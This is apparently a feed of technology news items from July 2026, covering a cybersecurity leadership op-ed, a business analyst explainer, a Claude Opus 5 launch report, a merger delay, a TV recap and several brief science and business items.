Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.



Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.



2. Organizational inertia, and the need for executive structure to evolve faster



Cyber criminals continue to evolve rapidly. Large organizations generally do not.



This is the second issue that should concern every CEO.



Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.



Very rarely do they stop to redesign how cybersecurity operates.



The result is what I described several years ago as the “Cybersecurity Spiral of Failure”.




As complexity and regulation increase, organizations invest in more security products.



More products create more complexity.



More products and greater complexity generate more alerts.



More alerts require more analysts.



More analysts produce more reports.



More reports continue to build up executive confidence.



Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.




And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.



This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.



Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.



The cybersecurity function itself has evolved dramatically. Many executive structures have not.



This organizational inertia extends beyond technology: It affects budgeting cycles, investment priorities, procurement processes, accountability models and decision-making speed.



Cyber attackers innovate every day. Organizational change often takes years.



That imbalance should worry every CEO.



3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak



The third issue is potentially the most significant over the coming decade.




Artificial intelligence, autonomous agents and machine identities



Software supply chain complexity.



Quantum computing, and post-quantum cryptography




Each of these developments represents far more than another technical trend.



Together, they fundamentally change the dynamics of cybersecurity.



Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.



Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.



Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.



None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.



Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.



Waiting until some of those risks become obvious will almost certainly be too late.



Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.



But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.



That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.



Leadership will determine who succeeds



Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.



Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.



What remains within the control of every CEO is how their organization responds.



Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?



How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?



Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?



These questions will increasingly determine organizational success.



The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.



They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.



That transformation cannot be delegated. It begins with the CEO.



And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



What is a business analyst? A key role for business-IT efficiency
Sat, 25 Jul 2026 06:16:45 +0200

		
					  
						




What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.



The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that business analysis is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.



Impact of AI on business analyst role



As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.



AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.



Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.



Business analyst job description



BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.



According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.



Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  



The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.



Business analyst skills



The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.



Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.



According to the IIBA, some of the most important skills and experience for a business analyst are:




Oral and written communication skills



Interpersonal, organizational, facilitation, and consultative skills



Analytical thinking and problem solving



Being detail-oriented and able to deliver a high level of accuracy



Knowledge of business structure



Stakeholder and cost-benefit analysis



Processes modeling



Understanding networks, databases, and other technologies




For a more in-depth look at what it takes to succeed as a business analyst, click here.



Business analyst salary



The average annual salary for an IT business analyst is $80,692, according to data from PayScale. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.



Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:



Skills Salary Boost
ScrumMaster 44%
Microsoft Azure 30%
Supply Chain 27%
Oracle eBusiness Suite 25%
Master Data Management (SAP MDM) 24%
SAP Sales and Distribution (SAP SD) 24%
Product Support 18%
Microsoft Dynamics GP 18%
SAP Quality Management (SAP QM) 18%
Workday Software 15%
 



For tips on boosting your salary, click here.



Business analyst certifications



Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:




IIBA Entry Certificate in Business Analysis (ECBA)



IIBA Certification of Competency in Business Analysis (CCBA)



IIBA Certified Business Analysis Professional (CBAP)



IIBA Agile Analysis Certification (AAC)



IQBBA Certified Foundation Level Business Analyst (CFLBA)



IREB Certified Professional for Requirements Engineering (CPRE)



PMI Professional in Business Analysis (PBA)



Certified Analytics Professional (CAP)




For more information about how to earn one of these certifications — and how much they cost — click here.



Business analytics tools and software



BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.



IT leaders: Leading-edge AI insights await at TechCrunch Disrupt
Sat, 25 Jul 2026 05:51:14 +0200

		
					  
						




For CIOs, learning from the startup ecosystem has never been more critical.



As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, grow, and thrive in today’s AI-disrupted business environment.



So why not immerse yourself in Silicon Valley’s most famous firehose of hyper-accelerated fail-fast and dream-big culture by registering for TechCrunch Disrupt 2026?



Three packed days of 200-plus sessions across six stages will spark new ideas for reshaping your AI strategy, provide fresh perspectives on the architectural, workflow, and resource decisions involved in moving AI from pilots to scale, and give you a sneak peek of business disruptions to come.



Get 10% off your TechCrunch Disrupt pass with the exclusive code CIO10. 



This year’s TechCrunch Disrupt, held Oct. 13-15 at San Francisco’s Moscone West, will feature big-picture conversations on what’s next in AI; discussions on how AI agents are rewriting SaaS, enterprise workflows, software pricing, and security; and demonstrations of AI’s future across robotics, manufacturing, defense, and industrial operations; and more.



Over 10,000 attendees will hear from 250-plus startup founders, technology executives, and enterprise IT leaders about how the future of programming is being rewritten, what enterprise AI security requires, how startups are orchestrating workloads across models while managing cost and reliability at scale, why creating a safety culture is essential for AI deployment, and how startups are deciding what work humans should own versus what should be delegated to AI as they work to build hybrid teams without losing speed, accountability, or culture.









And of course, the rising tide of enterprise-focused startups will be there seeking to bring agentic systems to your business workflows, as well as vendors familiar to your enterprise IT portfolios, such as AWS, Google, and Databricks, and enterprise IT colleagues creating mutually beneficial partnerships with the startup community, such as American Express.



That’s not to mention TechCrunch Disrupt’s signature Startup Battlefield, in which 200 standout companies showcase their innovations to compete for a $100K equity-free prize. The battlefield will give CIOs a rapid-fire, broad view of what’s possible — and a possible early look at the next big enterprise player. After all, Dropbox, Trello, and Cloudflare, among others, roamed that same battlefield before the world knew their names.



And with M&A now an early-stage startup strategy for many from day one, TechCrunch Disrupt’s exhibition floor provides IT leaders not just an opportunity to discuss the nuts and bolts of innovation architecture or how an upstart product can enhance your workflows, but a chance to find your next innovation partner, or more.



Leading-edge startups are figuring out how to make AI work at scale. Shouldn’t you be?



Don’t miss your chance to experience TechCrunch Disrupt 2026. Book your pass today and use the exclusive code CIO10 to save 10% before prices increase.



Datalab’s Marker 2 vs MinerU, Docling and LiteParse: 76.0 on olmOCR-bench at 5× MinerU’s Throughput
Sat, 25 Jul 2026 04:18:55 +0200
Datalab rewrote Marker as a three-mode pipeline. Version 2 hits 76.0 on olmOCR-bench and sustains 2.9 pages per second on one B200 — over 5× MinerU's pipeline backend, while beating Docling on both accuracy and speed. Here's how it compares against MinerU, Docling and LiteParse, and which one fits your use case.
The post Datalab’s Marker 2 vs MinerU, Docling and LiteParse: 76.0 on olmOCR-bench at 5× MinerU’s Throughput appeared first on MarkTechPost.


Paramount Agrees to Postpone Warner Bros. Merger Until June 2027
Sat, 25 Jul 2026 01:07:31 +0200
Paramount Skydance has agreed to postpone its $111 billion Warner Bros. Discovery merger until five days after an antitrust trial or June 1, 2027, whichever comes first. The agreement with a 12-state coalition led by California effectively shelves the deal for months while states argue it would reduce competition in cable and theatrical markets. Variety reports: Paramount had been keen to close the deal before Sept. 30, when it will begin to incur a $7-million-a-day "ticking fee" to be paid to Warner Bros. investors. The agreement is a tacit acknowledgement that that will not happen, barring a settlement with the states. Paramount previously sought a three-day hearing on the injunction motion in late August, hoping to win the judge's blessing to close the deal sometime in early September. But the states resisted that idea, saying they would need more time to take discovery and prepare for a full trial on the merits. The states were due to file their injunction motion on Thursday night, but held off as the two sides held discussions on a path forward. In a statement, the company said the agreement is a "significant win."
 
"Today's agreement is a significant win because the result is exactly what we have sought from the outset: a direct path to a trial based on the evidence," a Paramount spokesperson said. "This is the fastest and clearest way to prove that this transaction is good for competition, good for consumers, and good for creators, a conclusion dozens of competition authorities around the world have already reached. Plaintiffs' market definitions bear no relationship to the realities of today's marketplace and cannot withstand scrutiny. We look forward to proving our case at trial."
 
A hearing was scheduled for Aug. 3 in federal court in Oakland, at which point the two sides were expected to argue over the injunction motion. The two sides agreed to cancel that hearing. U.S. District Judge Araceli Martinez-Olguin approved the joint stipulation on Friday afternoon, about an hour after it was entered. The Writers Guild of America filed its own motion for an injunction earlier this week, which was also set to be heard on Aug. 3. That motion has been withdrawn, as Paramount has effectively conceded that it will not close the deal until a determination of the merits of the antitrust claims. The parties also agreed to submit a joint stipulation by July 31 on their respective positions on trial scheduling. The states previously proposed to hold the trial in April 2027.






Read more of this story at Slashdot.


‘Lucky’ Season 1 Episode 3 Recap: Lucky Finally Tracks Down Cary
Fri, 24 Jul 2026 20:27:30 +0200
“Lucky” Season 1, Episode 3 follows Lucky as she searches for Cary and the stolen money, using every trick she learned during her unusual childhood. The episode, titled “Read the Room,” also reveals that Agent Billie Rand’s pursuit of Priscilla has become deeply personal.



“Lucky” is a seven-episode Apple TV limited series based on Marissa Stapley’s novel. The first two episodes arrived on July 15, followed by weekly releases through August 19.




Episode title: Read the Room



Release date: July 22, 2026



Runtime: 45 minutes




Spoiler warning for “Lucky” Episode 3



After the failed multimillion-dollar robbery, Lucky remains separated from Cary, who disappeared with their money. She also continues running from Priscilla’s people and the FBI while relying on the criminal skills taught to her by her father, John.



Episode 3 begins with a flashback showing John completing a deal for Priscilla as Agent Rand watches nearby. Lucky warns John that the situation will end badly. In the present, Rand follows Lucky’s trail through gas-station security footage, although she remains several steps behind her.



Lucky reaches Priscilla’s farm and hides while Dutch questions Noah about fake identification documents. Dutch eventually kills him, allowing Lucky to steal Noah’s identification and search for the person making the fake documents.



Lucky crashes a child’s birthday party



Before continuing her search, Lucky enters a child’s birthday party to obtain clothes, money and transportation. A flashback shows John teaching young Lucky how to steal at such events, including taking cash envelopes and unattended purses.



Lucky leaves the party with a new outfit, enough money to tip a valet and someone else’s car. The scene shows how easily she can enter an unfamiliar environment, gain people’s trust and disappear before anyone notices what happened.



At Noah’s home, Lucky discovers that his neighbour creates fake IDs. While studying her previous work, Lucky finds evidence that Cary used her services and adopted the name Colson Smith.



Lucky finally finds Cary



Lucky manipulates a real-estate agent into giving her access to the property where Cary is staying. While Cary swims nearby, she searches the house and discovers a gun and a laptop protected by a 12-word seed phrase.



Cary returns to find the property destroyed and Lucky waiting inside. Meanwhile, Wayne tells Priscilla that he has also discovered Cary’s location, placing both Cary and Lucky in immediate danger.



Episode 3 ends with the former partners finally reunited, although their missing money and broken trust remain unresolved. What do you think Cary will tell Lucky, and will they work together against Priscilla? Let us know in the comments.


Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows
Fri, 24 Jul 2026 20:10:11 +0200
Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.
The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, Opus 4.8. It becomes the new default model on Claude Max, Anthropic's premium consumer tier, and the strongest model available on Claude Pro.
The positioning is deliberate. Anthropic is not claiming Opus 5 is its smartest model — that distinction still belongs to Fable 5, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.
"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."
How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models
On paper, the results are striking. Anthropic says Opus 5 sets new state-of-the-art marks on coding and knowledge-work evaluations including Frontier-Bench and GDPval-AA. On Frontier-Bench v0.1, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On ARC-AGI 3, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On OSWorld 2.0, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.
The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges Opus 5 remains behind Mythos 5, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.
The more revealing caveat came from Anthropic itself, when asked where Opus 5 still falls short of Fable 5. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.
"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."
Fable 5, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.
Why token efficiency is becoming the real battleground for enterprise AI spending
Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: Opus 5 doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.
Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."
Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.
The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. 
Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by Contrary Research, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.
Self-verifying AI agents and what they mean for the hidden costs of automation
Beyond the numbers, Anthropic is selling a behavioral story: that Opus 5 verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.
In one Frontier-Bench task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.
Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."
This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.
Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks
The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than Opus 4.8, Sonnet 5, or Fable 5, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.
On the capability side, Anthropic says it intentionally avoided training Opus 5 on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.
When a classifier does trigger, requests in Claude.ai, Claude Code, and Claude Cowork fall back to Opus 4.8 by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."
The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."
The business stakes behind the launch: a $380 billion valuation and massive compute bets
The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at roughly $380 billion in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly reaching $20 to $26 billion for 2026. Those targets are underwritten by enormous infrastructure commitments, including a reported $30 billion Azure compute deal alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.
That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.
The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to Anthropic's $1.5 billion copyright settlement with book authors, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to block foreign access to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.
Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the Claude API starting today.
Two questions will determine whether the bet pays off: whether Opus 5's efficiency claims survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.




IT leaders: Leading-edge AI insights await at TechCrunch Disrupt
Fri, 24 Jul 2026 19:56:29 +0200

		
					  
						




For CIOs, learning from the startup ecosystem has never been more critical.



As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, grow, and thrive in today’s AI-disrupted business environment.



So why not immerse yourself in Silicon Valley’s most famous firehose of hyper-accelerated fail-fast and dream-big culture by registering for TechCrunch Disrupt 2026?



Three packed days of 200-plus sessions across six stages will spark new ideas for reshaping your AI strategy, provide fresh perspectives on the architectural, workflow, and resource decisions involved in moving AI from pilots to scale, and give you a sneak peek of business disruptions to come.



Get 10% off your TechCrunch Disrupt pass with the exclusive code CIO10. 



This year’s TechCrunch Disrupt, held Oct. 13-15 at San Francisco’s Moscone West, will feature big-picture conversations on what’s next in AI; discussions on how AI agents are rewriting SaaS, enterprise workflows, software pricing, and security; and demonstrations of AI’s future across robotics, manufacturing, defense, and industrial operations; and more.



Over 10,000 attendees will hear from 250-plus startup founders, technology executives, and enterprise IT leaders about how the future of programming is being rewritten, what enterprise AI security requires, how startups are orchestrating workloads across models while managing cost and reliability at scale, why creating a safety culture is essential for AI deployment, and how startups are deciding what work humans should own versus what should be delegated to AI as they work to build hybrid teams without losing speed, accountability, or culture.









And of course, the rising tide of enterprise-focused startups will be there seeking to bring agentic systems to your business workflows, as well as vendors familiar to your enterprise IT portfolios, such as AWS, Google, and Databricks, and enterprise IT colleagues creating mutually beneficial partnerships with the startup community, such as American Express.



That’s not to mention TechCrunch Disrupt’s signature Startup Battlefield, in which 200 standout companies showcase their innovations to compete for a $100K equity-free prize. The battlefield will give CIOs a rapid-fire, broad view of what’s possible — and a possible early look at the next big enterprise player. After all, Dropbox, Trello, and Cloudflare, among others, roamed that same battlefield before the world knew their names.



And with M&A now an early-stage startup strategy for many from day one, TechCrunch Disrupt’s exhibition floor provides IT leaders not just an opportunity to discuss the nuts and bolts of innovation architecture or how an upstart product can enhance your workflows, but a chance to find your next innovation partner, or more.



Leading-edge startups are figuring out how to make AI work at scale. Shouldn’t you be?



Don’t miss your chance to experience TechCrunch Disrupt 2026. Book your pass today and use the exclusive code CIO10 to save 10% before prices increase.



The quest to keep organs alive outside the body
Fri, 24 Jul 2026 19:12:53 +0200
This week, I covered a fascinating effort to preserve organs outside the body. There’s a huge shortage of donor organs, and one of the main reasons is time—they survive only a matter of hours outside the body, even when they’re kept on ice. Doctors dream of organ banks—stores of human organs that can be preserved…


Bing Images Vulnerability Lets Attackers Execute Remote Code on Microsoft Servers
Fri, 24 Jul 2026 18:18:11 +0200
Three critical remote code execution (RCE) vulnerabilities in Microsoft’s infrastructure, with two flaws in Bing Images allowing attackers to hijack backend image-processing servers using nothing more than a crafted SVG file. The findings, disclosed responsibly by XBOW and now patched, expose how an “ordinary” image-handling feature became a gateway to full SYSTEM-level access on production […]
The post Bing Images Vulnerability Lets Attackers Execute Remote Code on Microsoft Servers appeared first on Cyber Security News.


Stripe Eyes $10 Billion Deal For AI Model Marketplace OpenRouter
Fri, 24 Jul 2026 18:18:06 +0200
An anonymous reader quotes a report from PYMNTS.com: Stripe is in talks to buy OpenRouter, an artificial intelligence (AI) startup that could sell for roughly $10 billion, according to The Wall Street Journal. The move would mark a significant step outside payments for a company that processes transactions for much of the internet. It also lands while Stripe pursues a far larger target: a bid for PayPal that would value the payments giant at about $53 billion.
 
The Journal reported Thursday (July 23) that a transaction could be announced soon, though the talks could still collapse or another buyer could step in. The exact price under discussion could not be learned. Several other large technology companies had also been weighing deals for OpenRouter. The startup was valued at $1.3 billion in May, according to PitchBook, meaning a sale near $10 billion would represent a steep markup in a matter of months. Its backers include Menlo Ventures and CapitalG, the growth fund of Google parent Alphabet.
 
OpenRouter sells software that lets customers reach AI models from OpenAI and Anthropic, along with open weight alternatives anyone can download and run. The Journal described the company's position this way: "OpenRouter is part of an emerging crop of startups that have found a lucrative niche between AI developers and the companies that want to use them." The platform lists hundreds of large language models and lets developers compare and switch between them.






Read more of this story at Slashdot.


Astronomers May Have Discovered First Moon Outside Our Solar System
Fri, 24 Jul 2026 17:07:19 +0200
Astronomers studying the star system CD-35 2722 may have found the first known moon-like object outside our solar system. The classification is unusually tricky, however, because it orbits a brown dwarf rather than a planet, making it clearly an "exosatellite" but forcing scientists to rethink where the line between planet, moon, and failed star should be drawn. Space.com reports: The star CD-35 2722 is located around 73 light-years away and has around half the mass of the sun. It is orbited by a "failed star" or brown dwarf. These stellar bodies get their unfortunate nickname because they form like other stars but fail to gather enough mass to trigger the fusion of hydrogen to helium in their cores. In terms of mass, brown dwarfs are more massive than the largest gas giant planets, but smaller than the smallest stars, usually with around 13 to 80 times the mass of Jupiter, or around 0.013 to 0.08 times the mass of the sun.
 
The newly discovered object in CD-35 2722 is certainly moon-like, but rather than orbiting a planet as the moons in the solar system do, it orbits the system's brown dwarf. "This system is somewhat hard to define using solar-system-based words like 'planet' and 'moon.' The exosatellite is clearly massive enough to be a planet, but it does not orbit a star, though it orbits an object that orbits a star," team leader Kevin Hoy of the Universidad Diego Portales and the Millennium Nucleus of Young Exoplanets and their Moons (YEMS) in Chile, said in a statement. "Being the third wheel in this system makes us want to call it a moon, even if it is nothing like the small, rocky moons we have in our system."
 
The team currently isn't able to definitively claim this object in CD-35 2722 is an exomoon, because that would require really nailing down a new definition of what a moon is. "The satellite we report is a giant gaseous body orbiting a highly massive companion, itself several times the mass of Jupiter. We have a clear delineation between the planets and the sun in the solar system, so defining things like moons is simple," team member Alice Zurlo of the Universidad Diego Portales said. "In the CD-35 2722 system, where we are blurring the lines between stars, planets, and moons, the whole thing becomes more complicated to describe." Zurlo and colleagues can, however, confidently claim this is an exosatellite, meaning it is a first-of-its-kind detection no matter what the future holds for its classification. 

The findings have been published in the journal Nature.






Read more of this story at Slashdot.


What is preventing employees from changing careers, asks Indeed?
Fri, 24 Jul 2026 17:02:24 +0200
Indeed’s report found that three out of four Ireland-based employees imagine moving into a new field, but are unsure of how to take the leap. 
Read more: What is preventing employees from changing careers, asks Indeed?


The 3 types of people who will excel in the AI agent era, according to tech leaders
Fri, 24 Jul 2026 16:45:27 +0200
The autonomous business of the future is being built. Certain skills are in high demand - and can help you stand out.


I’ve been gaming for 40 years. Here are the best chairs in the UK for comfort, support and serious play
Fri, 24 Jul 2026 16:21:24 +0200
